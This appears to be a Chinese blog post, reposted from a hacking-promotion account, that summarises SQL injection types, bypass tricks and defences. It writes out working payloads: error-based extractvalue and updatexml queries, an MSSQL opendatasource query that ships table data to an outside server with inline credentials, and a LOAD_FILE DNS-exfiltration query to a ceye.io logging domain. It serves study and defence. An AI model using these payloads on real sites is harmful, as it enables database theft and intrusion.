天天看點

幹貨!SQL注入總結篇

公粽号:黒掌

一個專注于分享滲透測試、黑客圈熱點、黑客工具技術區部落客!

1sql注入總結

原理:使用者輸入的資料當作sql語句拼接到程式代碼中執行

可能存在注入的地方:登入頁面、搜尋處、HTTP頭資訊等

注入類型:報錯注入、header注入、盲注、寬位元組注入、mssql反彈注入、dns注入等

報錯注入

原理:利用資料庫的某些機制,人為地制造錯誤條件,使得查詢結果能夠出現在錯誤資訊中

報錯注入相關函數及使用方法:

floor   例句:and select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);
ExtractValue  例句:and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));
UpdateXml  例句:and 1=(updatexml(1,concat(0x3a,(selectuser())),1))
exp  例句:and exp(~(select * from (select user () ) a) );
polygon  例句:and polygon (()select * from(select user ())a)b );
......
           

防禦方法:

1、屏蔽能造成報錯注入的各種函數

2、統一傳回不含錯誤提示資訊的回顯頁面

3、使用資料庫防火牆、攔截危險SQL語句

header注入

原理:利用後端驗證用戶端口資訊或者通過Header中擷取用戶端的一些資訊,

因為這些資訊在某些地方是會和其他資訊一起存儲到資料庫中,然後再在前台顯示出來,

又因為背景沒有進過相對應的資訊處理是以構成了sql注入

可能出現的地方

host 用戶端指定自己想通路的WEB伺服器的域名/IP 位址和端口号

User-Agent 使得伺服器能夠識别客戶使用的作業系統,遊覽器版本等.

Referer 浏覽器向 WEB 伺服器表明自己是從哪個頁面連結過來的

X-Forwarded-For 簡稱XFF頭,它代表用戶端,也就是HTTP的請求端真實的IP,

(通常一些網站的防注入功能會記錄請求端真實IP位址并寫入資料庫or某檔案[通過修改XXF頭可以實作僞造IP])

Clien-IP 同上

Cookie 網站為了辨識使用者身份、進行 session 跟蹤而儲存在使用者本地終端上的資料

寬位元組注入

原理:利用mysql特性, 在使用GBK編碼時将/進行轉義ASCII碼傳輸中文是會變成字元串

MySQL中用于轉義的函數addslashes、mysql_real_escape_string、mysql_escape_string、magic_quotes_gpc

作用:當PHP的傳參中有特殊字元就會在前面加轉義字元’\’,來做一定的過濾

繞過思路

因為寬位元組注入主要是吃掉 \ ,是以一般時候加一個 %df 這種就可以吃掉,加漢字也可以

mssql反彈注入

原理:依靠opendatasource函數,把查詢出來的資料發送到我們的MSSQL伺服器上

條件:要滿足堆疊查詢

環境搭建

使用香港雲(http://www.webweb.com/)搭建mssql資料庫,擷取公網IP

顯錯注入步驟:

1、判斷注入點

2、猜字段

3、聯合查詢(記住要寫union all),輸出點用NULL填充,注釋隻有—

4、select name from dbo.sysdatabases 查詢系統庫

5、sysobjects 查詢系統表 (xtype=’U’)

6、syscolumns 字段 (id= ) 指定sysobjects庫中表名對應id

使用的函數

opendatasource函數作用:可以了解為将目前資料庫查詢的結果發送到另一資料庫伺服器中

文法:opendatasource(provider_name,init_string)

provider_name :注冊為用于通路資料源的OLE DB 提供程式的PROGID的名稱,MSSQL的名稱為SQLOLEDB

init_string:

連接配接字元串

連接配接位址、端口、使用者名、密碼、資料庫名

server=連接配接位址,端口;uid=使用者名;pwd=密碼;database=資料庫名稱

例句:insert into opendatasource(‘sqloledb’,’server=SQL5009.webweb.com,1433;uid=DB_14A5E44_zkaq_admin;

pwd=zkaqzkaq;database=DB_14A5E44_zkaq’).DB_14A5E44_zkaq.dbo.temp select * from admin —

DNS注入(隻能使用在mysql)

原理:通過子查詢,将内容拼接到域名内,讓load_file()去通路共享檔案,通路的域名被記錄

此時變為顯錯注入,将盲注變顯錯注入,讀取遠端共享檔案,通過拼接出函數做查詢,拼接到域名中,通路時将通路伺服器,記錄後檢視日志

什麼是DNS?

是一個域名系統,是一項網絡服務,它作為将域名和IP位址互相映射的一個分布式資料庫,能夠使人更友善地通路網際網路,DNS注入就是利用了DNS這個通道

使用的函數

load_file函數作用:用于讀取檔案内容,并傳回輸出

使用條件

1、檔案必須在伺服器上

2、要有絕對路徑

3、要有file權限,所有位元組可讀

4、檔案内容必須小于max_allowed_packet(限制server接受的資料包大小函數,預設1MB)

當load_file無法讀取檔案的解決方法:在mysql配置檔案最後一行加一行secure_file_priv=

例句:

and (SELECT LOAD_FILE(CONCAT(‘\‘,(select database()),’.0cv5gr.ceye.io\abc’)))#

select load_file()打開檔案,concat是拼接函數,\+子查詢出來的結果+.0cv5gr.ceye.io\abc

相當于資料庫去通路\+子查詢出來的結果+.0cv5gr.ceye.io\abc的共享檔案夾然後被DNS伺服器記錄下來

盲注

了解:利用資料庫内置函數執行的結果來判斷語句是否被執行

類型

布爾型盲注:根據傳回頁面判斷條件真假的注入

時間型盲注:不能根據頁面傳回内容判斷任何資訊,用條件語句檢視時間延遲語句是否執行(即頁面傳回時間是否增加)來判斷

用到的函數及語句

length()函數:傳回字元串的長度

ascii() 查詢ascii碼中對應的值

substr(str,pos,num) :截取指定位置指定長度的字元串

mid(str,pos,num) :截取指定位置指定長度的字元串

sleep() 将程式挂起一段時間

if(expr1,expr2,expr3) 判斷語句 如果第一個語句正确就執行第二個語句如果錯誤執行第三個語句

攻擊總體思路

1、尋找SQL注入的位置

2、判斷伺服器類型和背景資料庫類型

3、針對不同的伺服器和資料庫特點進行SQL注入攻擊

特殊表

MySQL資料庫的特有的表是 information_schema.tables

access資料庫特有的表是 msysobjects

SQLServer 資料庫特有的表是 sysobjects

資料庫重要資訊

version() :資料庫的版本

database() :目前所在的資料庫

@@basedir : 資料庫的安裝目錄

@@datadir :資料庫檔案的存放目錄

user() :資料庫的使用者

current_user() : 目前使用者名

system_user() : 系統使用者名

session_user() :連接配接到資料庫的使用者名

SQL注入繞過方法

1、大小寫繞過

2、雙寫繞過

3、編碼繞過

4、内聯注釋繞過

5、關鍵字替換(例如:空格用+替換、and用&&替換等)

6、等價函數繞過(例如:hex()、bin()=ascii()、mid()、substr()=substring()等)

7、HTTP參數污染

8、緩沖區溢出繞過

危害

資料庫資訊洩露

網頁篡改:登陸背景後釋出惡意内容

網站挂馬 : 當拿到webshell時或者擷取到伺服器的權限以後,

可将一些網頁木馬挂在伺服器上,去攻擊别人

私自添加系統賬号

讀寫檔案擷取webshell

防禦方法

1、對進去資料庫的特殊字元(單雙引号 尖括号等)進行編碼轉換

2、不要使用動态拼裝SQL,使用參數化SQL

3、不要使用管理者權限的資料連接配接,最好為每個應用使用單獨的資料庫連接配接

4、應用異常資訊盡量給出少的提示,最好自定義報錯資訊對原始報錯資訊進行包裝

5、使用防火牆,安全狗,雲盾等

幹貨!SQL注入總結篇

今天的分享就到這裡,喜歡的小夥伴記得點贊收藏轉發,我有一個公粽号【黒掌】, 裡面分享了更多黑客秘籍,歡迎來耍!